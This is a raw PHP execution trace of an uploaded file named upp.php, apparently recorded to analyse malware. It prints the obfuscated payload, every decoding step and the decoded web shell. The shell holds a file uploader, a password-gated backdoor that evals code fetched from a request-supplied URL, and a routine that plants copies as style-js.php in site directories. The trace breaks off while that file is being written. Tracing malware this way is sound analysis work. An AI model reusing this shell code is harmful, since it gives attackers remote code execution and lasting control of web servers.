Version: 3.1.0beta2 File format: 4 TRACE START [2023-02-12 20:56:12.250756] 1 0 1 0.000204 393512 1 3 0 0.000269 396944 {main} 1 /var/www/html/uploads/upp.php 0 0 1 A /var/www/html/uploads/upp.php 3 $gz = 'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==' 1 A /var/www/html/uploads/upp.php 4 $gzinflate = 'O3gvY0lh+owA/d9r1rcLg9tNAnwU0iX9PyUvNOn+NuRSz7rvZzwJACPMsp6z9tlfzu+XI9i6En+VFFC/B+kumtsZQHLhsh3D6PIKaqjnDTyZnzliSw0euoDiB7gqnevZdq2V/wvbd+eH0V8IWsRhQYOmPXDi+9DRYFcPUewVJDKO9JMiFBftj7ugDILfWjy4z3UHsKUffh4FGYXXR4EYgz1Lp4AoI064w6KAa7STRnPX+uOEVwOJ2S3CDYtEAweOhcHHV+dQcihBPzBQchgZGFBRS+ygKxmlQApKCQHMmIb5mf4H+WkjLYhwsSkSK3RD1Kb0bJ+tQkV9s4FQ/0ilegHCWxXavd5JaU+ym/bqWu4XvMhlsfGJ52PG3JUdigwJtc6mI18KJHsGeeVnH2G3A7rX2FdioAa7/ocUkfFwCDAJRsAaB8hUIv5xL4DhOSs1NwxnY++85YY/H9XxLezH/T9T9b1junxxy5SKiig9yK4ravKAzGhY8VidRF5zJfmk' 2 4 0 0.000332 396944 base64_decode 0 /var/www/html/uploads/upp.php 5 1 'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==' 2 4 1 0.000354 397232 2 4 R 'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24gzinflate%29%29%29%29%29%29%29%29%3B' 2 5 0 0.000375 397200 urldecode 0 /var/www/html/uploads/upp.php 5 1 'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24gzinflate%29%29%29%29%29%29%29%29%3B' 2 5 1 0.000394 397456 2 5 R 'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));' 2 6 0 0.000413 397168 htmlspecialchars_decode 0 /var/www/html/uploads/upp.php 5 1 'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));' 2 6 1 0.000431 397392 2 6 R 'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));' 2 7 0 0.000462 399520 eval 1 'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));' /var/www/html/uploads/upp.php 5 0 3 8 0 0.000479 399520 strrev 0 /var/www/html/uploads/upp.php(5) : eval()'d code 1 1 'O3gvY0lh+owA/d9r1rcLg9tNAnwU0iX9PyUvNOn+NuRSz7rvZzwJACPMsp6z9tlfzu+XI9i6En+VFFC/B+kumtsZQHLhsh3D6PIKaqjnDTyZnzliSw0euoDiB7gqnevZdq2V/wvbd+eH0V8IWsRhQYOmPXDi+9DRYFcPUewVJDKO9JMiFBftj7ugDILfWjy4z3UHsKUffh4FGYXXR4EYgz1Lp4AoI064w6KAa7STRnPX+uOEVwOJ2S3CDYtEAweOhcHHV+dQcihBPzBQchgZGFBRS+ygKxmlQApKCQHMmIb5mf4H+WkjLYhwsSkSK3RD1Kb0bJ+tQkV9s4FQ/0ilegHCWxXavd5JaU+ym/bqWu4XvMhlsfGJ52PG3JUdigwJtc6mI18KJHsGeeVnH2G3A7rX2FdioAa7/ocUkfFwCDAJRsAaB8hUIv5xL4DhOSs1NwxnY++85YY/H9XxLezH/T9T9b1junxxy5SKiig9yK4ravKAzGhY8VidRF5zJfmk' 3 8 1 0.000505 402112 3 8 R 'AR8G4PkBGgbl+QEVBur5eJwBCgb1+XictVb7b+I4EP59pf0fsjkkqLrXhHe7LV3CIwSWV3kUQlUhx3FIwHk0NlA47f9+dlJa2u7urXR3ERa2v5lvxuPx2FdfAzv4+AGFoR/OQxT4IXW8RUo+uWST0PaF5BV1KEbX4wD7wEThlRSPky8CEHkUhddXlu9RAfrYD0viH+m0JVtZkc+GrgAgdXyvJIqCi6jtmyUx8AkVBeRBugtQSXTXmDoBCKnE5f80AQWi4AGXQesny6LgmEej6yvpyfAPXHG8YE2FmNpyMDpwxX3i7Fk/L4sHwRicM27xSYmsDdehscl4fgPwmgFxHLh17mj059HrqyNXHCslJOb93nB0l+SqyXuhVBIOisKJ8FckU4Z+sEsl5mqzXR/eJblnyfu7JHWDOXcnef9ZeAfGwAmjEN4s2Di0n2zDuN/uKTVhOK5W68Php4PbkvESxgNH8lL4zgKKCfp9M1Y2zb5nM6rC/K79hhX2+3r98cNV' 3 9 0 0.000533 402080 base64_decode 0 /var/www/html/uploads/upp.php(5) : eval()'d code 1 1 'AR8G4PkBGgbl+QEVBur5eJwBCgb1+XictVb7b+I4EP59pf0fsjkkqLrXhHe7LV3CIwSWV3kUQlUhx3FIwHk0NlA47f9+dlJa2u7urXR3ERa2v5lvxuPx2FdfAzv4+AGFoR/OQxT4IXW8RUo+uWST0PaF5BV1KEbX4wD7wEThlRSPky8CEHkUhddXlu9RAfrYD0viH+m0JVtZkc+GrgAgdXyvJIqCi6jtmyUx8AkVBeRBugtQSXTXmDoBCKnE5f80AQWi4AGXQesny6LgmEej6yvpyfAPXHG8YE2FmNpyMDpwxX3i7Fk/L4sHwRicM27xSYmsDdehscl4fgPwmgFxHLh17mj059HrqyNXHCslJOb93nB0l+SqyXuhVBIOisKJ8FckU4Z+sEsl5mqzXR/eJblnyfu7JHWDOXcnef9ZeAfGwAmjEN4s2Di0n2zDuN/uKTVhOK5W68Php4PbkvESxgNH8lL4zgKKCfp9M1Y2zb5nM6rC/K79hhX2+3r98cNV' 3 9 1 0.000562 404672 3 9 R '\001\037\006\001\032\006\001\025\006x\001\n\006xVo8\020}\0379$ׄw-]#\004Wy\024BU!qHy46P8~vRZtw\021\026oW_\003;\001\037C\024!uEJ>d\025u(F\000D\024/\002\020y\024WQ\001\017K\037%[Yφ\000 u|$%1\t\025\005A\vPItט:\001\b4\001\005\001A\'ˢG+\017\\q`Mr0:p}Y?/\a\0303nI\rסx~\003\001q\034uh#W\034+%$pt{T\022\016‰W$S~K%j]\037%g$u9w\'yYx\a\t\020,8lø)5a8Vᧃے\022\003G' 3 10 0 0.000637 402080 gzinflate 0 /var/www/html/uploads/upp.php(5) : eval()'d code 1 1 '\001\037\006\001\032\006\001\025\006x\001\n\006xVo8\020}\0379$ׄw-]#\004Wy\024BU!qHy46P8~vRZtw\021\026oW_\003;\001\037C\024!uEJ>d\025u(F\000D\024/\002\020y\024WQ\001\017K\037%[Yφ\000 u|$%1\t\025\005A\vPItט:\001\b4\001\005\001A\'ˢG+\017\\q`Mr0:p}Y?/\a\0303nI\rסx~\003\001q\034uh#W\034+%$pt{T\022\016‰W$S~K%j]\037%g$u9w\'yYx\a\t\020,8lø)5a8Vᧃے\022\003G' 3 10 1 0.000714 403904 3 10 R '\001\032\006\001\025\006x\001\n\006xVo8\020}\0379$ׄw-]#\004Wy\024BU!qHy46P8~vRZtw\021\026oW_\003;\001\037C\024!uEJ>d\025u(F\000D\024/\002\020y\024WQ\001\017K\037%[Yφ\000 u|$%1\t\025\005A\vPItט:\001\b4\001\005\001A\'ˢG+\017\\q`Mr0:p}Y?/\a\0303nI\rסx~\003\001q\034uh#W\034+%$pt{T\022\016‰W$S~K%j]\037%g$u9w\'yYx\a\t\020,8lø)5a8Vᧃے\022\003GR\002\t}3' 3 11 0 0.000785 401312 gzinflate 0 /var/www/html/uploads/upp.php(5) : eval()'d code 1 1 '\001\032\006\001\025\006x\001\n\006xVo8\020}\0379$ׄw-]#\004Wy\024BU!qHy46P8~vRZtw\021\026oW_\003;\001\037C\024!uEJ>d\025u(F\000D\024/\002\020y\024WQ\001\017K\037%[Yφ\000 u|$%1\t\025\005A\vPItט:\001\b4\001\005\001A\'ˢG+\017\\q`Mr0:p}Y?/\a\0303nI\rסx~\003\001q\034uh#W\034+%$pt{T\022\016‰W$S~K%j]\037%g$u9w\'yYx\a\t\020,8lø)5a8Vᧃے\022\003GR\002\t}3' 3 11 1 0.000854 403136 3 11 R '\001\025\006x\001\n\006xVo8\020}\0379$ׄw-]#\004Wy\024BU!qHy46P8~vRZtw\021\026oW_\003;\001\037C\024!uEJ>d\025u(F\000D\024/\002\020y\024WQ\001\017K\037%[Yφ\000 u|$%1\t\025\005A\vPItט:\001\b4\001\005\001A\'ˢG+\017\\q`Mr0:p}Y?/\a\0303nI\rסx~\003\001q\034uh#W\034+%$pt{T\022\016‰W$S~K%j]\037%g$u9w\'yYx\a\t\020,8lø)5a8Vᧃے\022\003GR\002\t}3V6;g3\0' 3 12 0 0.000924 401312 gzinflate 0 /var/www/html/uploads/upp.php(5) : eval()'d code 1 1 '\001\025\006x\001\n\006xVo8\020}\0379$ׄw-]#\004Wy\024BU!qHy46P8~vRZtw\021\026oW_\003;\001\037C\024!uEJ>d\025u(F\000D\024/\002\020y\024WQ\001\017K\037%[Yφ\000 u|$%1\t\025\005A\vPItט:\001\b4\001\005\001A\'ˢG+\017\\q`Mr0:p}Y?/\a\0303nI\rסx~\003\001q\034uh#W\034+%$pt{T\022\016‰W$S~K%j]\037%g$u9w\'yYx\a\t\020,8lø)5a8Vᧃے\022\003GR\002\t}3V6;g3\0' 3 12 1 0.000995 403136 3 12 R 'x\001\n\006xVo8\020}\0379$ׄw-]#\004Wy\024BU!qHy46P8~vRZtw\021\026oW_\003;\001\037C\024!uEJ>d\025u(F\000D\024/\002\020y\024WQ\001\017K\037%[Yφ\000 u|$%1\t\025\005A\vPItט:\001\b4\001\005\001A\'ˢG+\017\\q`Mr0:p}Y?/\a\0303nI\rסx~\003\001q\034uh#W\034+%$pt{T\022\016‰W$S~K%j]\037%g$u9w\'yYx\a\t\020,8lø)5a8Vᧃے\022\003GR\002\t}3V6;g3\025zUe\' 3 13 0 0.001111 401312 gzuncompress 0 /var/www/html/uploads/upp.php(5) : eval()'d code 1 1 'x\001\n\006xVo8\020}\0379$ׄw-]#\004Wy\024BU!qHy46P8~vRZtw\021\026oW_\003;\001\037C\024!uEJ>d\025u(F\000D\024/\002\020y\024WQ\001\017K\037%[Yφ\000 u|$%1\t\025\005A\vPItט:\001\b4\001\005\001A\'ˢG+\017\\q`Mr0:p}Y?/\a\0303nI\rסx~\003\001q\034uh#W\034+%$pt{T\022\016‰W$S~K%j]\037%g$u9w\'yYx\a\t\020,8lø)5a8Vᧃے\022\003GR\002\t}3V6;g3\025zUe\' 3 13 1 0.001180 403136 3 13 R 'xVo8\020}\0379$ׄw-]#\004Wy\024BU!qHy46P8~vRZtw\021\026oW_\003;\001\037C\024!uEJ>d\025u(F\000D\024/\002\020y\024WQ\001\017K\037%[Yφ\000 u|$%1\t\025\005A\vPItט:\001\b4\001\005\001A\'ˢG+\017\\q`Mr0:p}Y?/\a\0303nI\rסx~\003\001q\034uh#W\034+%$pt{T\022\016‰W$S~K%j]\037%g$u9w\'yYx\a\t\020,8lø)5a8Vᧃے\022\003GR\002\t}3V6;g3\025zUe\bay2\'eB`' 3 14 0 0.001249 401312 gzuncompress 0 /var/www/html/uploads/upp.php(5) : eval()'d code 1 1 'xVo8\020}\0379$ׄw-]#\004Wy\024BU!qHy46P8~vRZtw\021\026oW_\003;\001\037C\024!uEJ>d\025u(F\000D\024/\002\020y\024WQ\001\017K\037%[Yφ\000 u|$%1\t\025\005A\vPItט:\001\b4\001\005\001A\'ˢG+\017\\q`Mr0:p}Y?/\a\0303nI\rסx~\003\001q\034uh#W\034+%$pt{T\022\016‰W$S~K%j]\037%g$u9w\'yYx\a\t\020,8lø)5a8Vᧃے\022\003GR\002\t}3V6;g3\025zUe\bay2\'eB`' 3 14 1 0.001340 405440 3 14 R 'Uploader\';\r\necho \'
\';\r\necho \'
\';\r\nif( $_POST[\'_upl\'] == "Upload" ) {\r\nif(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'


\';\r\necho \'
\';\r\nif( $_POST[\'_upl\'] == "Upload" ) {\r\nif(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'


UPLOAD SUCCESS!


\'; }\r\nelse { echo \'


UPLOAD FAILED!


\'; }\r\n}\r\n?>\r\n\r\n
\r\n\r\n
\r\n\';\r\nif (@$_REQUEST["px"]) {\r\n $p = @$_REQUEST["px"];\r\n $pa = md5(sha1($p));\r\n if ($pa == "7e2cb042f3fd80e5a826735222585fde") {\r\n echo eval(@file_get_contents(@$_REQUEST["404"]));\r\n }\r\n}\r\nif (@!$_SESSION["sdm"]) {\r\n $doc = $_SERVER["DOCUMENT_ROOT"];\r\n $dir = scandir($doc);\r\n $d1 = \'\' . $doc . \'/.\';\r\n $d2 = \'\' . $doc . \'/..\';\r\n if (($key = @array_search(\'.\', $dir)) !== false) {\r\n unset($dir[$key]);\r\n }\r\n if (($key = @array_search(\'..\', $dir)) !== false) {\r\n unset($dir[$key]);\r\n }\r\n if (($key = @array_search($d1, $dir)) !== false) {\r\n unset($dir[$key]);\r\n }\r\n if (($key = array_search($d2, $dir)) !== false) {\r\n unset($dir[$key]);\r\n }\r\n @array_push($dir, $doc);\r\n foreach ($dir as $d) {\r\n $p = $doc . "/" . $d;\r\n if (is_dir($p)) {\r\n $file = $p . "/style-js.php";\r\n @touch($file);\r\n $folder = @fopen($file, "w");\r\n @fwrite($folder, $a);\r\n }\r\n }\r\n \r\n}\r\n?>\r\n\r\n' /var/www/html/uploads/upp.php(5) : eval()'d code 1 0 4 16 0 0.001556 423640 error_reporting 0 /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 2 1 0 4 16 1 0.001572 423680 4 16 R 22527 4 17 0 0.001589 423640 session_start 0 /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 12 0 4 17 1 0.001644 424392 4 17 R TRUE 4 18 0 0.001660 424392 error_reporting 0 /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 13 1 0 4 18 1 0.001675 424432 4 18 R 0 3 A /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 14 $a = ' '.', 1 => '..', 2 => 'uploads'] 3 A /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 34 $dir = [0 => '.', 1 => '..', 2 => 'uploads'] 3 A /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 35 $d1 = '/var/www/html/.' 3 A /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 36 $d2 = '/var/www/html/..' 4 20 0 0.001815 424952 array_search 0 /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 37 2 '.' [0 => '.', 1 => '..', 2 => 'uploads'] 4 20 1 0.001832 425024 4 20 R 0 3 A /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 37 $key = 0 4 21 0 0.001857 424920 array_search 0 /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 40 2 '..' [1 => '..', 2 => 'uploads'] 4 21 1 0.001874 424992 4 21 R 1 3 A /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 40 $key = 1 4 22 0 0.001902 424888 array_search 0 /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 43 2 '/var/www/html/.' [2 => 'uploads'] 4 22 1 0.001918 424960 4 22 R FALSE 3 A /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 43 $key = FALSE 4 23 0 0.001942 424888 array_search 0 /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 46 2 '/var/www/html/..' [2 => 'uploads'] 4 23 1 0.001957 424960 4 23 R FALSE 3 A /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 46 $key = FALSE 4 24 0 0.001981 424912 array_push 0 /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 49 2 [2 => 'uploads'] '/var/www/html' 4 24 1 0.001996 424976 4 24 R 2 3 A /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 51 $p = '/var/www/html/uploads' 4 25 0 0.002020 424960 is_dir 0 /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 52 1 '/var/www/html/uploads' 4 25 1 0.002037 425024 4 25 R TRUE 3 A /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 53 $file = '/var/www/html/uploads/style-js.php' 4 26 0 0.002062 425048 touch 0 /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 54 1 '/var/www/html/uploads/style-js.php' 4 26 1 0.002099 425088 4 26 R TRUE 4 27 0 0.002113 425048 fopen 0 /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 55 2 '/var/www/html/uploads/style-js.php' 'w' 4 27 1 0.002144 425712 4 27 R resource(5) of type (stream) 3 A /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 55 $folder = resource(5) of type (stream) 4 28 0 0.002172 425640 fwrite 0 /var/www/html/uploads/upp.php(5) : eval()'d code(1) : eval()'d code 56 2 resource(5) of type (stream) '